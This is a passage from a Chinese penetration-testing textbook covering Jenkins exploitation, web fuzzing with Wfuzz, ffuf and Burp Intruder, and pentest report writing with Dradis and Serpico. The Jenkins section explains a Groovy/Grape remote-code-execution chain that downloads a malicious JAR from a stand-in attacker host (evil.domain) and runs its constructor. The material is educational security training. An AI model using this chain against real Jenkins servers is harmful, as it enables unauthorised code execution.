因此，@Grab将从上述存储库导入依赖项并将它们添加到代码中。现在，出现了一个问题：“如果存储库不在Maven上该怎么办？”在我们的示例中，由于它位于shellcode中，因此Grape将允许我们指定URL，如图13-23所示。 下面的代码将从http://evil.domain/evil/jar/org.restlet/1/org.restlet-1.jar下载JAR包： 图 13-23 现在我们已经从服务器下载了恶意JAR包，下一个任务就是执行它。为此，我们需要深入研究Groovy核心的源代码，这是实现Grape的地方（https://github.com/groovy/groovy-core/blob/master/src/main/groovy/grape/GrapeIvy.groovy）。 我们可以使用一种方法来处理ZIP（JAR）文件，并检查特定目录中的两个方法。请注意图13-24中显示的最后几行，有一个名为processRunners()的函数。 图 13-24 通过查看图13-25所示函数，我们可以看到newInstance()正在被调用。这意味着可以调用构造函数。 图 13-25 简而言之，如果我们创建了一个恶意的JAR，并将一个类文件放在JAR文件内的METAINF/services/org.codehaus.groovy.plugins.Runners文件夹中，我们就可以用代码调用构造函数，如下所示： 上面的代码将导致代码执行！ 因此，如果我们回顾一下漏洞利用的源码，如图13-26所示，我们应该能够完全理解它的工作原理。 图 13-26 checkScriptCompile用于传递程序的语法。@Grabconfig用于禁用正在获取的文件的校验和。@GrabResolver用于获取外部依赖项（恶意JAR文件）。import用于执行编写shellcode的构造函数。"},
    {"text": "未知 13.6 小结 在本章中，我们学习了Jenkins及其基本术语。我们介绍了如何手动以及通过使用Metasploit框架来检测Jenkins的安装。然后，我们学习了如何对Jenkins进行漏洞利用。如果你希望帮助你正在工作的企业应用更好的补丁程序，并让渗透测试人员开发更好的漏洞利用或绕过，那么了解这些漏洞利用的工作方式就非常重要。 我们的主要目标应该始终是尽可能多地学习技术。从渗透测试人员的角度来看，他们知道得越多，能够进行漏洞利用的机会就越大，并且从蓝队/SOC团队的角度来看，有关已安装技术的更多信息将有助于他们防御攻击。 我们将在下一章研究如何利用应用程序中的逻辑漏洞。 未知 13.7 问题 1.我们如何在黑盒渗透测试中识别Jenkins实例？ 2.还有哪些方法可以识别Jenkins实例？ 3.我已经从HTTP标头中识别了Jenkins实例，但是无法访问该页面。如何使页面可访问？ 4.一旦获得Jenkins的访问权限，我可以做什么？ 未知 13.8 拓展阅读 下面这些链接涵盖了Jenkins漏洞利用的更多细节： ·Hacking Jenkins Part 2-Abusing Meta Programming for Unauthenticated RCE: https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html ·Jenkins Security Advisory 2019-01-08: https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266 ·Dependency management with Grape: http://docs.groovy-lang.org/latest/html/documentation/grape.html 未知 第五篇 逻辑错误狩猎 在本篇中，我们将重点介绍如何利用应用程序的业务逻辑中存在的缺陷，并提供更深入的示例。我们还将介绍对Web应用进行模糊测试的方法，以便发现漏洞并编写相关报告。 本篇包括以下章节： ·第14章 Web应用模糊测试——逻辑错误狩猎 ·第15章 编写渗透测试报告 未知 第14章 Web应用模糊测试——逻辑错误狩猎 在前面的章节中，我们学习了Metasploit的基础知识、可用于Web应用渗透测试的Metasploit模块、使用Metasploit模块执行侦察和枚举、Metasploit支持的针对不同技术平台和不同内容管理系统（CMS）的不同模块，以及使用的不同利用技术等。在本章中，我们将学习Web应用渗透测试的另一个重要方面——Web应用模糊测试。 在一般的渗透测试中，Web应用模糊测试并非必需的阶段，但是这是发现逻辑漏洞的关键步骤。根据Web应用服务器对某些请求的响应方式，模糊器（fuzzer）可用于了解服务器的行为，以发现测试人员肉眼看不见的缺陷。Metasploit附带了三个Web模糊测试模块，可用于测试Web应用中表单和其他字段中的内存溢出。我们将在本章通过以下主题内容来学习模糊测试： ·什么是模糊测试？ ·模糊测试的常用术语。 ·模糊测试的攻击类型。 ·Web应用模糊测试简介。 ·识别Web应用攻击向量。 ·场景。 未知 14.1 技术条件要求 以下是学习本章内容所需满足的技术要求： ·Wfuzz：https://github.com/xmendez/wfuzz。 ·Ffuf：https://github.com/ffuf/ffuf。 ·Burp Suite：https://portswigger.net/burp。 未知 14.2 什么是模糊测试 模糊测试（fuzz testing）是一种黑盒软件测试方式，用于通过自动使用异常/半异常的数据来发现逻辑错误。模糊测试是由Barton Miller教授和他在威斯康星大学麦迪逊分校的学生于1989年开发的（他们正在进行的工作可以在http://www.cs.wisc.edu/~bart/fuzz/上找到）。在进行模糊测试时，会观察应用程序/软件的响应，并根据其行为的变化（崩溃或挂起）发现逻辑错误。简而言之，模糊测试的过程如图14-1所示。 图 14-1 我们需要确定进行模糊测试的目标和输入向量（对于系统应用程序）以及终端（对于Web应用程序）。生成正确的输入种子（随机的模糊数据）后，异常/半异常的模糊数据将作为模糊测试的输入提供。 同时，我们需要在整个模糊测试的过程中通过监控和分析服务器/应用程序响应（如Web应用程序模糊测试情况下的Web服务器响应；系统应用程序模糊测试情况下为应用程序诊断信息/跟踪信息来了解整个模糊测试过程中应用程序的行为，其中涉及FTP服务器、SSH服务器和SMTP服务器）来理解应用的行为。为了更好地理解模糊测试，我们首先学习一些模糊测试中常用的术语。"},
    {"text": "未知 14.3 模糊测试术语 为了更好地理解模糊测试以及相关技术，我们需要了解不同的模糊测试术语，这些术语将有助于我们掌握本章中使用的相关概念和技术： ·模糊器（fuzzer）： 模糊器是一种程序/工具，可以将异常/半异常的数据注入服务器/Web应用程序，并观察应用程序的行为以检测缺陷。模糊器使用的异常/半异常的数据由生成器生成。 ·生成器（generator）： 生成器使用模糊向量和一些随机数据的组合将生成的数据输出给模糊器，模糊器会将异常的数据注入应用程序中。 ·模糊向量（fuzz vector）： 模糊向量是模糊器使用的已知危险值。通过观察应用程序的行为，模糊器可以注入不同的模糊向量。 ·输入种子（input seed）： 输入种子是模糊器用于测试的有效输入样本，可以是包含模糊器使用的数据格式的任何测试文件。生成器将基于模糊器使用的输入种子生成数据。如果仔细选择输入种子，我们可能会在应用程序中发现大量缺陷。 ·仪表化（instrumentation）： 仪表化是用于衡量应用程序性能和诊断信息（包括任何错误）的技术。在模糊测试期间，仪表化技术将像拦截器一样，暂时控制正在进行模糊测试的应用程序/软件，以从跟踪信息中查找错误。 现在我们已经学习了一些新的术语，接下来让我们看看可以用来执行模糊测试的攻击类型。 未知 14.4 模糊测试的攻击类型 模糊器通常尝试使用数字（有符号/无符号整数或浮点数）、字符（URL或命令行输入）、用户输入文本、纯二进制序列等攻击组合。可以使用这些类型生成模糊向量列表。例如，对于整数，模糊向量可以是零、负值或非常大的整数值；对于字符，模糊向量可以是转义字符、Unicode字符、URL编码字符、特殊字符或所有字符的序列。一旦生成模糊向量列表，模糊器将使用该列表对应用程序执行模糊测试。 未知 14.4.1 应用模糊测试 对于基于桌面的应用程序，模糊器可以在其界面（按钮序列、文本输入等的组合）、命令行选项（如果适用）以及应用程序提供的导入/导出功能上执行模糊测试。 对于基于Web的应用，模糊器可以对其URL、用户输入表单、HTTP请求标头、HTTP POST数据、HTTP协议和HTTP方法执行模糊测试。 未知 14.4.2 协议模糊测试 协议模糊器伪造网络数据包并将其发送到服务器。如果协议栈中存在缺陷，则协议模糊测试将会发现这个缺陷。 未知 14.4.3 文件格式模糊测试 文件格式模糊测试通常用于程序在文件中导入/导出数据流的情况。要执行文件格式模糊测试，必须生成具有不同文件格式的多个输入种子，并将其保存在单个文件中。然后，模糊器将使用保存的文件作为服务器/应用程序的输入，记录可能发生的任何崩溃。下一节我们将介绍Web应用程序模糊测试。 未知 14.5 Web应用模糊测试简介 现在我们已经清楚地理解了模糊测试的概念、术语和攻击类型，让我们从Web应用程序的模糊测试开始。如前所述，Web应用程序的模糊测试是通过使用URL、表单、标头和方法作为主要的模糊向量来实现的。在本章中，我们将使用以下工具对基于HTTP的Web应用程序进行模糊测试：Wfuzz、Ffuf和Burp Suite。接下来，让我们安装本节中提到的工具来查找逻辑错误。 未知 14.5.1 安装Wfuzz Wfuzz是一个基于Python的Web应用模糊器，它使用替换技术将命令中的FUZZ关键字替换为提供给模糊器的模糊向量。这种模糊器可以在不同的Web应用组件中执行复杂的Web安全攻击，例如参数、身份验证、表单、目录/文件和标头。Wfuzz还配备了各种模块，包括迭代器、编码器、载荷、打印组件和脚本。根据不同的Web应用程序，我们可以使用这些模块来执行成功的模糊测试： 1）我们可以通过复制GitHub存储库来安装Wfuzz工具，如图14-2所示。 图 14-2 2）在运行这个工具之前，我们需要通过执行python setup.py install命令进行安装。这将在系统上安装所有文件，如图14-3所示。 3）执行wfuzz -h命令来确认工具是否已成功安装，如图14-4所示。 接下来我们安装学习本章内容需要使用的第二个工具——Fuzz Faster U Fool（ffuf）。 未知 14.5.2 安装ffuf ffuf（Fuzz Faster U Fool）是一个用Go编写的Web应用程序模糊器，具有Gobuster和Wfuzz的功能。可以从https://github.com/ffuf/ffuf复制GitHub存储库，也可以从https://github.com/ffuf/ffuf/releases下载预编译的版本。我们按照以下步骤进行安装： 图 14-3 图 14-4 1）可以使用git clone https://github.com/ffuf/ffuf命令或go get https://github.com/ffuf/ffuf命令复制存储库，如图14-5所示。 2）通过执行go build.命令进行安装，如图14-6所示。 3）成功编译后，可以看到在同一目录中创建了编译后的程序ffuf。我们可以运行该程序，如图14-7所示。 图 14-5 图 14-6 图 14-7 4）第三个工具Burp Suite Intruder，如图14-8所示。 图 14-8 现在，我们已经安装了执行模糊测试所需的所有工具，接下来将介绍对Web应用程序执行模糊测试时需要使用的模糊输入和向量。"},
    {"text": "未知 14.6 识别Web应用攻击向量 攻击向量是Web应用程序的组成部分/组件，模糊器可以在其中插入异常/半异常的数据。对于Web应用程序，以下是我们可以执行模糊测试的部分： ·HTTP请求动词。 ·HTTP请求URI。 ·HTTP请求标头。 ·HTTP POST数据。 ·旧版本的HTTP协议。 接下来让我们尝试了解可用于Web应用程序模糊测试的每个部分以及所有模糊测试向量。 未知 14.6.1 HTTP请求动词 请求动词也称为请求方法，Web应用程序客户端使用这些方法来指示要对服务器上给定资源执行的所需操作。所使用的方法取决于客户端想从服务器上获取的资源。最常见的HTTP动词是GET、POST、OPTIONS、HEAD、PUT、DELETE、TRACE、PATCH和CONNECT。 对HTTP请求方法进行模糊测试可以帮助我们根据模糊器提供的不同方法来识别Web应用程序响应中的变化。我们还可以识别Web应用服务器允许的方法，这些方法可以用来检查一些攻击测试用例。 14.6.1.1 使用Wfuzz对HTTP方法/动词进行模糊测试 对HTTP方法进行模糊测试非常容易，也很有帮助。让我们尝试使用Wfuzz在简单的Web应用程序上对HTTP动词进行模糊测试。可以通过以下步骤对HTTP请求方法进行模糊测试： 1）在终端上执行以下命令以开始使用Wfuzz： 2）图14-9显示了上述命令的输出。 -z选项用于输入载荷。在本例中，我们使用常见的HTTP请求方法（GET、POST、HEAD、OPTIONS、TRACE和PUT）的列表（-z <list name>）。 -X选项用于提供模糊器要使用的HTTP请求方法。如果未提供-X选项，则默认情况下，模糊器将使用HTTP GET请求方法进行模糊测试。 图 14-9 现在，让我们看看如何使用ffuf对HTTP动词进行模糊测试。 14.6.1.2 使用ffuf对HTTP方法/动词进行模糊测试 我们还可以使用ffuf对请求标头进行模糊测试。可以执行以下命令，使用词表（wordlist）对请求标头进行模糊测试： 图14-10显示了上述命令的输出。 图 14-10 正如我们在图14-10中看到的那样，模糊器发现了一些Web应用程序服务器可接受的HTTP方法。让我们尝试使用Burp Suite对同一种情况进行模糊测试。 注意：ffuf中的-c选项用于为HTTP响应代码添加颜色。它能帮助我们更快地识别隐藏的文件和目录。 14.6.1.3 使用Burp Suite Intruder对HTTP方法/动词进行模糊测试 在Burp Suite Intruder中，通过单击Intruder选项卡并打开Positions子选项卡对HTTP动词进行模糊测试。Burp Suite将使用§载荷标记自动标记任何与[parameter] = [value]格式匹配的值。载荷标记中的所有内容都会被Burp Suite视为模糊向量。Burp Suite Intruder支持四种攻击类型：Sniper、Battering Ram、Pitchfork和Cluster Bomb。要了解有关攻击类型的更多信息，请参阅https://portswigger.net/burp/documentation/desktop/tools/intruder/positions。 我们通过单击Clear §按钮来清除模糊向量的位置，如图14-11所示。 图 14-11 为了对HTTP请求方法进行模糊测试，我们通过单击Add §按钮添加载荷标记（§），如图14-12所示。 设置载荷标记之后，我们需要定义Intruder应该使用的载荷进行模糊测试。可以通过单击Payloads选项卡来完成，如图14-13所示。在本例中，我们将使用一个词表，其中包含一些常见的HTTP请求方法。首先将Payload type设置为Simple list，然后单击Load ... 按钮加载列表，即可使用词表。 图 14-12 图 14-13 加载词表后，可以单击Start attack按钮开始模糊测试，如图14-14所示。 如图14-15所示，将打开一个新窗口，显示模糊测试的结果。 在图14-15中可以看到，当使用HTTP CONNECT和TRACE方法时，服务器分别使用HTTP 400（错误请求）和HTTP 405（不允许的方法）代码进行响应。这向我们展示了Web应用服务器关于这两个请求标头的行为。 图 14-14 图 14-15 注意：我们可以使用在线免费的其他自定义列表对HTTP方法进行模糊测试。"},
    {"text": "未知 14.6.2 HTTP请求URI 在开始进行HTTP请求URI的模糊测试前，我们首先需要了解URI的结构，如下所示： 14.6.2.1 使用Wfuzz对HTTP请求URl路径进行模糊测试 要在Wfuzz的帮助下对URI路径进行模糊测试，可以执行以下命令： 图14-16显示了上述命令的输出。"},
    {"text": "14.6.2.3 使用Burp Suite Intruder对HTTP请求URl路径进行模糊测试 现在，我们已经使用Wfuzz和ffuf对URI路径进行了模糊测试，让我们在Burp Suite Intruder中尝试相同的操作。"},
    {"text": "模糊器的结果将显示在另一个带有HTTP响应代码和Length的窗口中，如图14-21所示。 图 14-21 由前面的介绍可知，我们能够模糊测试Web应用服务器的URI路径（目录）。"},
    {"text": "14.6.2.4 使用Wfuzz对HTTP请求URl文件名和文件扩展名进行模糊测试 Wfuzz还可以对Web应用程序服务器的文件名和文件扩展名进行模糊测试： ·wfuzz -c --hc=404 -z file,SecLists/Discovery/Web-Content/raftsmall-files-lowercase.txt http://192.168.2.19:8090/xvwa/FUZZ.php（文件名模糊测试） ·wfuzz -c --hc=404 -z list,php-asp-aspx-jsp-txt http://192.168.2.19:8090/xvwa/home.FUZZ（文件扩展名模糊测试） 14.6.2.5 使用ffuf对HTTP请求URl文件名和文件扩展名进行模糊测试 可以通过以下命令使用ffuf模糊器对HTTP请求URI文件名和文件扩展名进行模糊测试： ·ffuf -c -w <wordlist> -u http://192.168.2.19:8090/xvwa/FUZZ.php（文件名模糊测试） ·ffuf -c -w <wordlist> -u http://192.168.2.19:8090/xvwa/home.FUZZ（文件扩展名模糊测试） 14.6.2.6 使用Burp Suite Intruder对HTTP请求URl文件名和文件扩展名进行模糊测试 载荷标记位于模糊测试文件名的文件扩展名之前，如图14-22所示。"},
    {"text": "14.6.2.7 使用Wfuzz对HTTP请求URl进行模糊测试（GET参数名和值） Wfuzz具有内置功能，可以通过添加FUZZ、FUZ2Z、FUZ3Z等关键字来模糊多个载荷位置。"},
    {"text": "让我们在Wfuzz中执行以下命令： 图 14-23 正如我们在前面的命令中看到的那样，使用-z选项（我们也可以重复使用-z、-H和-b选项）和/?FUZZ=FUZ2Z格式的[parameter]=[value]为Wfuzz提供两个词表——parameter_wordlist和value_wordlist。 执行此命令后，模糊器将使用parameter_wordlist中的第一个条目，将其替换为FUZZ关键字，然后通过FUZ2Z遍历所有value_wordlist条目。"},
    {"text": "为了同时模糊测试两个词表，我们将在Intruder中使用Cluster bomb攻击类型： 1）将Attack type设置为Cluster bomb，并将载荷标记设置为/?§§=§§，如图14-24所示。"},
    {"text": "未知 14.6.3 HTTP请求标头 对请求头的模糊测试在概念上与对URI的模糊测试相同，唯一的区别是，通过模糊测试请求标头发现的漏洞数量将比模糊测试URI时多，因为这些标头被发送到Web应用程序服务器，并且服务器在内部处理这些标头。"},
    {"text": "图 14-41 图 14-42 图 14-43 其他标准标头也可以进行模糊测试，包括User-Agent、Host、Accept和Content-Type。 在对非标准HTTP标头进行模糊测试时，可以使用词表来检查模糊器请求的每个标头的服务器响应。"},
    {"text": "14.6.3.2 使用Wfuzz、ffuf和Burp-Suite对自定义标头进行模糊测试 在许多Web应用程序中，开发人员引入了一些定制的HTTP标头，然后在处理请求时解析这些标头。"},
    {"text": "图 14-51 现在我们已经对模糊测试HTTP请求标头有了一些清晰的认识。 可以对HTTP POST参数使用类似的模糊测试技术，如图14-52所示。 同样，我们还可以对HTTP POST参数进行模糊测试，以查找应用程序支持的API和这些API参数支持的可接受值。 对Web应用攻击向量进行模糊测试可以为我们深入研究Web应用渗透测试提供更多的思路。"},
    {"text": "未知 14.7 小结 在本章中，我们首先学习了模糊测试的基本知识和不同类型的模糊攻击。然后，我们更深入地研究了Web应用程序的模糊测试，并学习了Wfuzz和ffuf的安装。之后，我们对HTTP请求动词和请求URI进行了模糊测试。在本章的最后，我们研究了三个场景：Cookie标头模糊测试、用户定义的Cookie标头模糊测试和自定义标头模糊测试。学习了模糊测试之后，可以了解Web应用程序的行为，这将帮助我们发现技术和逻辑漏洞。在漏洞赏金活动或CTF（Capture The Flag）比赛中，可以将模糊测试作为常规渗透测试的一部分。 我们将在下一章讨论渗透测试报告中必须包含的关键点。 未知 14.8 问题 1.我可以在基于SSL的Web应用程序上执行模糊化测试吗？ 2.Windows是否支持本章提及的模糊器？ 3.是否需要在所有Web应用程序渗透测试中执行模糊测试？ 4.执行模糊测试可以发现哪些类型的漏洞？ 未知 14.9 拓展阅读 ·Wfuzz下载页面：https://github.com/xmendez/wfuzz。 ·ffuf下载页面：https://github.com/ffuf/ffuf。 ·Burp Suite官方网站：https://portswigger.net/burp。 ·了解模糊测试的基础知识：https://owasp.org/www-community/Fuzzing。 ·了解Web应用程序攻击向量：https://www.blackhat.com/presentations/bh-dc-07/Sutton/Presentation/bh-dc-07-Sutton-up.pdf。 未知 第15章 编写渗透测试报告 众所周知，一份好的报告必须包含有关漏洞的所有必要细节。所有渗透测试标准都强调编写结构合理的报告。我们将在本章学习一些可用于做出良好报告的工具。 以下是必须包含在报告中的关键点： ·漏洞详情。 ·CVSS评分。 ·漏洞对组织的影响。 ·修补漏洞的建议。 报告应分为两部分，一部分供技术团队参考，另一部分则供管理团队参考。 本章将介绍以下内容。这些内容将涵盖报告生成过程中常用的工具： ·报告编写简介。 ·Dradis框架介绍。 ·使用Serpico。 未知 15.1 技术条件要求 以下是学习本章内容所需满足的技术要求： ·Dradis（https://github.com/dradis）。 ·Serpico（https://github.com/SerpicoProject/Serpico）。 ·数据库服务器（MariaDB/MySQL）。 ·Redis服务器（https://redis.io/download）。 ·Ruby（https://www.ruby-lang.org/en/downloads/）。 未知 15.2 报告编写简介 编写报告是渗透测试中最重要的阶段之一，因为报告不仅供技术团队使用，还供管理人员使用。通常需要向客户提供两种类型的报告——执行报告（executive report）和详细技术报告（Detailed Technical Report，DTR）。 执行报告是为组织/公司的最高管理者编写的，以便他们能够根据报告中提到的业务影响做出决策。DTR则是一份详细的报告，概述了发现的所有漏洞，也包括帮助技术团队（内部安全运营和开发人员）修复漏洞的建议步骤。总体而言，该报告应包含以下详细信息： ·目的和范围。 ·使用的方法和原则。 ·使用的通用漏洞评分系统（CVSS）版本。 ·执行摘要。 ·调查结果摘要（发现的漏洞列表）。 ·漏洞详情。 ·结论。 ·附录。 了解了测试报告所包括的内容后，我们来看一下如何写好报告。 未知 15.2.1 编写执行报告 正如我们在前面提到的，执行报告供C级执行人员（CXO）和管理层使用，以便基于所进行的风险评估（包括漏洞评估和渗透测试）来了解风险可能带来的影响等。由于C级的管理人员很忙，报告应该尽可能简洁，并包含他们所需的所有信息，以便做出明智的决定。让我们来看看执行报告的一般结构。 15.2.1.1 标题页 顾名思义，标题页（title page）包含有关项目、服务商和客户的信息。 15.2.1.2 文档版本控制 DTR报告中也定义了这个部分。当进行渗透测试时，报告并不是一次性完成的。双方都需要做很多更改，这样就可以创建一份客户和测试人员都可以接受的报告。报告的初稿完成后，该报告将被发送给客户。这部分内容记录了自报告初稿以来对报告所做的更改的次数。每次更改都会定义一个新版本。定稿后，报告中还会提到版本号。 15.2.1.3 目录 目录（ToC）是报告中最重要的部分之一，构成报告文档，以便C级主管可以轻松地理解它。 15.2.1.4 目的 这部分内容向管理层介绍渗透测试项目和确定的时间表。 15.2.1.5 限定范围 此部分中，应明确范围内定义的所有URL、IP、端点等。这些信息有助于C级管理者快速注意到受影响的资产，这可能会对组织产生业务关键性影响。 15.2.1.6 主要发现（影响） 这部分将列出每个漏洞的影响，也就是说，攻击者可以对组织的资产执行什么操作。这些指标帮助组织评估业务资产的安全级别。C级管理者将立即知道组织的哪些资产需要进行关键修复。 15.2.1.7 问题概述 此部分向高层管理人员深入介绍所发现漏洞的严重性。在这里可以使用漂亮的饼图或条形图来显示找到的漏洞，并根据严重性对其进行分类。 15.2.1.8 战略性建议 此部分向高层管理人员提供建议，他们可以遵循这些建议来修复真正至关重要的漏洞，如果这些漏洞被利用，可能会给业务带来问题。 由于执行报告的主要目标是向最高管理层提供评估的概述，因此报告中的所有细节都应简要提及。任何不必要的内容都应该从报告中删除。现在，让我们看看DTR报告。"},
    {"text": "未知 15.2.2 编写详细的技术报告 有关漏洞的所有技术细节将包含在本报告中。DTR是为客户的技术团队准备的。让我们来看看DTR的通用结构。 15.2.2.1 标题页 同样，标题页包含有关项目、供应商和客户的信息。 15.2.2.2 文档版本控制 此部分也在执行报告中定义，并且所包含的详细信息相同。 15.2.2.3 目录 组织报告文档，以便客户的技术团队能够轻松理解。 15.2.2.4 报告摘要 这一部分概述渗透测试项目，向客户展示已发现漏洞的总数，并按照严重性级别的顺序显示。我们可以添加一些漏洞统计信息，如饼图或面积图，并将漏洞定义为严重、高、中、低或信息性。作为渗透测试人员，我们可以添加一个攻击描述，告诉我们攻击者如何找到这些漏洞，以及攻击者可以在多大程度上利用这些漏洞。报告摘要有助于技术团队以及C级管理看到项目的总体成功。 15.2.2.5 限定范围 在与客户的启动会议上，需要确定项目范围和目标。在报告的这一部分中，应该明确范围内定义的所有URL、IP、端点等。此信息可帮助技术团队快速管理当前的漏洞，并与负责该范围中URL/IP的开发人员/运维团队进行沟通。 将范围添加到报告中还有另一个原因——它有助于渗透测试人员顺利执行项目流程。在范围未定义的情况下，渗透测试人员无法评估需要完成的工作量或完成项目所需的天数。众所周知，计算渗透测试项目价格的核心依据之一是人天数。 当渗透测试项目处于初始阶段时，即与客户进行项目讨论时，将根据客户提供的范围以及执行测试所需的人天数来计算项目报价。请注意，这些并不是定义项目价值的唯一要素，资产、时间线、为项目分配的资源数量、差旅费（如果有的话）以及渗透测试人员的初始要求也是一些关键要素。 这个定义的范围有助于渗透测试人员将他们团队的资源分配到项目中，并定义时间线以确保项目顺利进行。如果有许多子项目，例如在同一客户机上执行内部网络或外部网络渗透测试，那么定义范围可以确保双方都有相同的期望。 15.2.2.6 采用的方法学 报告的此部分应包含渗透测试人员在安全评估期间采用的方法学。最好用图表展示这个过程，并向客户解释每个环节，这样客户的技术团队就会知道他们的IT资产是如何被测试的。 无论渗透测试人员是否遵循NIST-800标准、PTES标准或自己公司的标准，他们都必须在此部分中说明测试过程。 15.2.2.7 CVSS CVSS是一个免费和开放的行业标准，用于确定漏洞的严重性。在根据漏洞的严重性描述漏洞时，我们需要根据CVSS评分对漏洞进行分类。报告的此部分将向客户介绍CVSS以及我们将在报告中使用的版本。撰写本书时，CVSS的版本为CVSS v3.1，该版本于2019年6月发布。 15.2.2.8 漏洞概述 渗透测试人员应在报告的此部分中添加漏洞描述、CVSS评分、漏洞严重程度、受影响的端点/IP、概念证明（PoC）、复现步骤、影响、建议和参考。 15.2.2.9 结论 在结论部分，渗透测试人员从攻击者的角度出发，以项目的总体难度来总结报告。任何其他建议都将添加到此部分中。 15.2.2.10 附录 任何其他信息，如屏幕截图、服务枚举、CVSS计算公式以及客户可能需要的其他信息都会添加到报告的这一部分中。 现在，我们知道了如何编写执行报告以及DTR。报告测试过程中发现的主要问题是收集所有技术细节。作为一名渗透测试人员，我们必须确保在渗透测试期间收集所有的屏幕截图、URL、使用的载荷等，以便将这些细节在DTR报告中展现。 如果范围是几个IP或URL就不会有问题，但是如果项目很大，那么收集数据有时会很麻烦。为了解决这些问题，我们可以选择在GitHub上公开提供的报告框架。这些框架可以自动分析输出扫描文件和Nmap端口扫描结果，并根据提供给它的详细信息为我们生成报告。在下一节中，我们将讨论一个这样的框架——Dradis。 未知 15.3 Dradis框架简介 Dradis是一个基于浏览器的开源应用程序，可用于汇总来自不同工具的输出并生成单个报告。它可以支持超过15种工具，例如Burp Suite、Nessus、Acunetix和Nmap等。 未知 15.3.1 安装前配置 要安装Dradis，我们需要先安装一些依赖包。它非常易于使用，并预装在了Kali Linux中。我们将重新安装它，然后学习如何使用它。 首先，我们需要通过运行以下命令来安装依赖项： 接下来，我们将继续进行安装。 未知 15.3.2 安装和设置 我们可以使用以下命令从GitHub存储库下载Dradis社区版： 上述命令的输出如图15-1所示。 图 15-1 现在，我们需要运行以下命令： 图15-2显示了上述命令的输出。 图 15-2 接下来，我们需要移至Dradis文件夹。要安装Dradis，我们需要通过输入以下命令在bin文件夹下运行安装文件： 安装完成后，我们可以运行以下命令来启动Dradis服务器： 图15-3显示了上述命令的输出。 图 15-3 可以通过https://localhost:3000访问Dradis。 我们甚至可以使用Dradis的Docker镜像来避免安装步骤和在此过程中可能出现的任何错误。 现在，我们需要设置密码，以便访问框架并登录，如图15-4所示。 图 15-4 接下来，让我们开始使用Dradis。"},
    {"text": "未知 15.3.3 开始使用Dradis 成功登录后，将被显示仪表板，如图15-5所示。 图 15-5 Dradis框架的免费版本支持各种工具的插件，比如Nmap、Acunetix、Nikto和Metasploit。它还允许我们创建可在渗透测试中使用的方法学。在平台的左侧面板中，可以看到三个主要分区，它们可以帮助完成报告的生成过程——所有问题（All issues）、方法学（Methodologies）和回收站（Trash），如图15-6所示。 图 15-6 ·All issues：此页面允许我们创建在渗透测试活动期间发现的问题，可以手动创建，也可以通过从不同工具（如Nmap、Nikto和Nessus）导入结果来创建。单击此选项将重定向到图15-7所示页面。 现在，我们来学习如何将第三方报告导入Dradis。 图 15-7 未知 15.3.4 将第三方报告导入Dradis 要从工具的输出中导入问题，请按照下列步骤操作： 1）选择第三个选项Upload the output of a tool（上传工具的输出），进入图15-8所示页面。 图 15-8 2）向下滚动页面将显示已安装的插件列表及其工具名称，如图15-9所示。 图 15-9 3）上传报告将向我们显示已解析的输出，如图15-10所示。 图 15-10 4）导入完成后，我们将在左侧面板中plugin.output下看到结果，如图15-11所示。 图 15-11 5）刚刚导入的扫描结果的输出如图15-12所示。 图 15-12 现在，我们需要定义安全测试方法。 未知 15.3.5 在Dradis中定义安全测试方法 Methodology部分允许我们定义活动期间将要遵循的方法论。最常用的方法是开源安全测试方法手册（OSSTMM）、渗透测试执行标准（PTES）和国家标准与技术研究所给出的方法。我们甚至可以通过定义检查清单来创建自己的方法，如下所示： 1）要创建检查清单，请转到Methodologies，然后单击Add new按钮。你将看到图15-13所示的显示。 图 15-13 2）为其指定一个名称并单击Add to Project按钮，如图15-14所示。 图 15-14 3）我们看到已经创建了一个示例列表。可以通过单击右侧的Edit按钮进行编辑，如图15-15所示。 图 15-15 4）在这里，我们可以看到列表在一个XML文件中，可以通过单击Update methodology进行编辑和保存，如图15-16所示。 图 15-16 现在，让我们整理一下报告。 未知 15.3.6 使用Dradis组织报告 现在，我们来学习如何组织扫描报告。节点（node）功能允许我们为不同的子网、网络和办公室位置创建单独的部分，然后将所有问题或屏幕截图放在那里。下面让我们快速了解如何创建节点： 1）转到左侧菜单中的Nodes选项，然后单击“+”，系统会在弹出一个对话框，在其中添加网络范围，然后单击Add按钮，如图15-17所示。 图 15-17 2）要添加一个新的子节点，我们需要从左侧菜单中选择Node，然后选择Add subnode选项。子节点用于进一步组织网络。我们甚至可以添加注释和屏幕截图，作为在特定节点中发现的缺陷的证据，如图15-18所示。 图 15-18 最后，让我们学习如何在Dradis中导出报告。 未知 15.3.7 在Dradis中导出报告 可以使用Dradis Framework导入不同的扫描，合并后导出为一个报告，如图15-19所示。 图 15-19 注意：有关Dradis的更多信息，请访问其官方网站https://dradisframe-work.com/。 到目前为止，我们已经学习了如何安装和配置Dradis框架，还研究了在Dradis中导入、组织和导出报告。在下一节中，我们将介绍另一个名为Serpico的工具。 未知 15.4 Serpico简介 Serpico（SimplE RePort wrIting and COllaboration）是使用Ruby开发的一个工具，用于加速报告编写过程。它是开源的、独立于平台的，可以通过GitHub获取。在本节中，我们将介绍Serpico的基本安装和用法。 未知 15.4.1 安装和设置 对于64位Linux系统，安装很简单，我们只需从https://github.com/Serpico-Project/Serpico/releases下载并安装即可。 由于Serpico具有Docker镜像，因此我们将在示例中使用其镜像。 首先，我们需要设置一个数据库以及用户名和密码。为此，请运行以下命令： 图15-20显示了上述命令的输出。 图 15-20 然后，我们使用ruby serpico.rb运行该工具，如图15-21所示。 图 15-21 现在，我们已准备好开始使用这个工具，可以从http://127.0.0.1:8443访问该工具。"},
    {"text": "未知 15.4.2 开始使用Serpico 图15-22显示了Serpico的登录界面。 图 15-22 使用用户名和密码登录后，你将看到类似于图15-23所示的仪表板。 图 15-23 登录后，我们将看到各种可用的选项，如AddUser、AddReportTemplate等，如图15-23的左侧菜单所示。 要创建一个新的报告，请按照下列步骤操作： 1）单击顶部菜单中的New Report选项，将打开如图15-24所示页面。 图 15-24 可以在该页面中填写各种详细信息，如公司全称（Full Company Name）、评估类型（Report Type）等。 2）单击Save按钮将进入下一个页面，可以填写其他详细信息，例如联系人的电子邮件等。所有这些信息都将出现在最终报告上。 3）将模板数据库结果（findings）添加到工具中。如果我们想使用常见的结果模板（如SQLi和XSS），可以选择Add Finding from Templates，也可以选择Create New Finding，如图15-25所示。 4）单击模板将下载相应的Word文档，其看起来应该类似于图15-26。 5）要为特定缺陷（bug）添加模板，我们只需勾选复选框，然后选择位于页面底部的Add按钮。 